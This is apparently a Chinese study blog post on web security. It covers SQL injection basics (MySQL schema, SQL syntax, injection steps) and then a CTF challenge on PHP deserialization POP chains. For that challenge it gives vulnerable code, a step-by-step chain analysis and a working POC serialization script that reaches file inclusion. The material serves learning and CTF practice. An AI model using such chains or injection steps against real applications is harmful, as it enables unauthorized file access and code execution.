SQL注入基础

漏洞

何为sql注入?简单来说就是攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作

例如对于一些安全性较低的登录页面,因为这些用户的数据都是存储在数据库中,那么就可以进行SQL注入来查询敏感信息或者做更多恶意操作

mysql数据库结构

mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。

mysql数据库常用默认的端口为3306

SQL语句

在进行SQL注入之前,我们肯定要学习一下SQL语句,接下来介绍一些常用的语句和基本语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
启动运行mysql:
在命令行输入mysql -u root -p后输入密码root

基本规范:
sql语句要在末尾加分号
建议区分大小写(windows系统对大小写不敏感但Linux系统区分大小写)
数据库基本结构为 数据库->表->列->单元

数据库/表(若对表操作就把其中的database换成table):
创建一个名为ytm666的数据库:create database ytm666;
删除一个名为ytm666的数据库:drop database ytm666;
使用一个名为ytm666的数据库:use ytm666;
展示出服务器下的所有数据库:show databases;

常用数据类型:
int float double char和C语言同理,但有一个不同的是varchar即为长一点的字符串

重要特性(赋给表中数据的特性):
primary key 主键,唯一并且不能为空
unique 唯一
not null 不能为空
auto_increment 自增
* 此符号在sql语言中代表所有

基本语句:
use 一个数据库
select 要查的数据 from 表名 where 列名 = 某个值; (查询数据:从xx表中查询xx列中的值)
insert into 表名(列名1,列名2,...,列名n) values(值1,值2,...,值n); (向对应的列插入某个值)
update 表名 set 列名1 = 某个值 where 列名2 = 某个值; (更新当列2时的列1值)
delete from 表名 where 列名 = 某个值; (删除)

重要的特殊字:
%: 代表任意字符(类似于通配符)
like: 例如select * from 列1 where 列2 like '%com';(从列1获取所有列2中结尾为com时的数据,其中的列可以用xx表.xx列的形式代表某个表中的某列)
union: 再来一句union前后的语句都起作用
and 和 or: 字面意思
order by: 以什么排序

注入流程

1

  1. 查找注入点
  2. 判断是字符型还是数字型(注入and 1=1 1=2 或者 3-1类似方式)
  3. 若是字符型,找到闭合方式
  4. 判断查询列数长短(group by 或者 order by)
  5. 查询回显位置(查询-1)

pop链

利用PHP中对象的自动调用魔术方法特性,将多个类和方法串联起来,形成一个链式调用.当PHP反序列化时,会自动调用这些方法,触发代码执行

而在此重点就是PHP中的魔术方法,正好总结下

1
1

接下来通过一道ctf例题解析一下pop链的解法和思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
//flag is in flag.php
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
  1. 首先这类题一定是要先找到能进行命令执行或文件包含的地方,那么我们发现在Modifier类中有一个方法内有可以产生文件包含漏洞的函数include(),那我们的思路就是想办法触发魔术方法来调用append方法,并且传给value的值为’flag.php’

  2. 不难发现我们需要触发__invoke()这个魔术方法来调用append方法,并且传给value的值为这个类中的var值,那么后面的poc中var值就要为’flag.php’,但要触发这个魔术方法,需要将对象当作函数调用

  3. 那么接下来为了触发__invoke()魔术方法,如何将Modifier对象当作函数调用,观察接下来的代码,我们发现在Test类中的__get()魔术方法中return部分可以实现把对象当作函数调用,且需要将赋给$function的$p为Modifier实例,即$p=new Modifier(),那么触发这个魔术方法需要调用这个类中属性不存在或不可访问属性的成员

  4. 继续,为了触发__get()魔术方法,我们要继续利用其他方法来实现触发,发现在Show这个类中的__toString()魔术方法中存在连续的引用,那么我们可以将这个类中的$str的值赋为Test对象,因此这个魔术方法内的这句话return $this->str->source;就成为了调用Test对象中的source成员了,又因为Test类中没有source这个成员,所以实现引用Test对象中不存在的成员,触发__get()魔术方法,那么又该如何触发__toString()魔术方法来实现这样的过程呢

  5. 那么要触发__toString()魔术方法,要将Tset对象作为字符串调用,依旧是去寻找能实现这种过程的部分,发现在这个类中存在__wakeup()魔术方法,其中我们可以利用echo函数来将Test对象作为字符串调用,那么只需要将source值赋为new Test(),并触发__wakeup()魔术方法就能实现,最后一步就是触发这个魔术方法了

  6. 最后,只需要进行反序列化操作,__wakeup魔术方法就会被调用,那么层层递推,就实现我们的需要了

总结一下:通过上面的分析,最后大致总结下来就是一个这样的过程:

分析后编辑好POC并进行序列化(url编码) >> 将结果传参,进行反序列化 >> 触发__wakeup >> 触发__toString >> 触发__get >> 触发__invoke >> 最后成功利用文件包含,得到答案

这种环环相扣,层层递进的过程就是构造pop链,最后展示一下POC以更好理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//flag is in flag.php
class Modifier {
private $var='flag.php';
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}
$mod = new Modifier();
$test = new Test();
$test->p=$mod;
$show = new Show();
$show->source = $show;
$show->str=$test;
echo serialize($show);
?>

补充

之前做到一题发现自己知识的缺口,现在做出补充

在php反序列化时如果要把一个类中成员的值赋给另一个成员需要用到引用符,和C语言取地址意义相似,例如:

1
2
$c = new CLazz();
$c->b = &$c->a;